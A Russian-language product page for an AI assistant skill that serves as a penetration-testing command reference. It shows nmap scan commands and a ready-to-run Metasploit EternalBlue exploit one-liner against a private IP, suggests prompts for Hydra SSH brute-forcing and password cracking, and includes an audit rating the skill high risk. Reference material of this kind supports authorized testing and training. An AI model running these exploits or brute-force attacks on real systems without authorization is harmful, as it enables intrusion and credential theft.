pentest-commands
Справочник команд для тестирования на проникновение
Этот навык предоставляет комплексный справочник команд для инструментов тестирования на проникновение. Он помогает специалистам по безопасности быстро находить команды nmap, Metasploit, nikto, SQLMap, Hydra и других инструментов безопасности во время авторизованных оценок.
Скачать ZIP навыка
Загрузить в Claude
Перейдите в Settings → Capabilities → Skills → Upload skill
Включите и начните использовать
Протестировать
Использование «pentest-commands». Покажи мне команды nmap для сканирования портов на 192.168.1.1
Ожидаемый результат:
TCP SYN scan (stealth): nmap -sS 192.168.1.1
Full TCP connect scan: nmap -sT 192.168.1.1
UDP scan: nmap -sU 192.168.1.1
All ports: nmap -p- 192.168.1.1
Service versions: nmap -sV 192.168.1.1
OS detection: nmap -O 192.168.1.1
Comprehensive scan: nmap -A 192.168.1.1
Использование «pentest-commands». Какие команды Metasploit использовать для эксплойта EternalBlue?
Ожидаемый результат:
msfconsole -x "use exploit/windows/smb/ms17_010_eternalblue; set RHOST 192.168.1.1; exploit"
Or interactive: msfconsole > search type:exploit name:ms17_010
> use exploit/windows/smb/ms17_010_eternalblue
> set RHOST 192.168.1.1
> exploit
Аудит безопасности
Высокий рискThis skill provides a comprehensive reference for penetration testing tools including Metasploit, nmap, nikto, SQLMap, Hydra, John the Ripper, and Aircrack-ng. The static analysis confirmed critical findings related to exploitation frameworks and password cracking tools. While this is a legitimate security testing reference for authorized use, it provides unconstrained access to dangerous tools without authorization verification. Risk Level: HIGH - Recommend restricted distribution or content modifications to add authorization safeguards.
Критические проблемы (2)
Проблемы высокого риска (3)
Проблемы среднего риска (2)
Проблемы низкого риска (1)
Факторы риска
⚙️ Внешние команды (37)
🌐 Доступ к сети (84)
📁 Доступ к файловой системе (2)
Обнаруженные паттерны
Оценка качества
Что вы можете построить
Быстрый справочник для специалиста по безопасности
Профессиональные тестеры на проникновение используют этот навык как быстрый справочник команд во время авторизованных оценок безопасности. Комплексный справочник команд экономит время на поиск в документации.
Обучение безопасности и образование
Студенты, изучающие тестирование на проникновение, используют этот навык для понимания правильного синтаксиса команд различных инструментов тестирования безопасности в лабораторных средах.
Операции Red Team
Члены Red team используют этот справочник команд во время авторизованных engagements red team для быстрого выполнения команд сканирования сети, эксплуатации и пост-эксплуатации.
Попробуйте эти промпты
Покажи команды nmap для сканирования целевой сети 192.168.1.0/24 для обнаружения активных хостов и открытых портов
Найди команды Metasploit для поиска и использования эксплойта EternalBlue против Windows цели
Покажи команды Hydra для брутфорса SSH входа и команды John the Ripper для взлома хешей паролей
Предоставь команды nikto и SQLMap для тестирования веб-приложения на http://192.168.1.100 на уязвимости
Лучшие практики
- Всегда проверяйте наличие письменной авторизации перед тестированием любой целевой системы
- Используйте шаблоны времени (-T4, -T5) осторожно, чтобы избежать обнаружения или влияния на систему
- Документируйте все выполненные команды и находки для отчетов по тестированию на проникновение
Избегать
- Никогда не используйте эти команды против систем без явной авторизации
- Избегайте запуска агрессивных сканирований, которые могут нарушить работу производственных систем
- Не делитесь и не публикуйте результаты, которые могут помочь злоумышленникам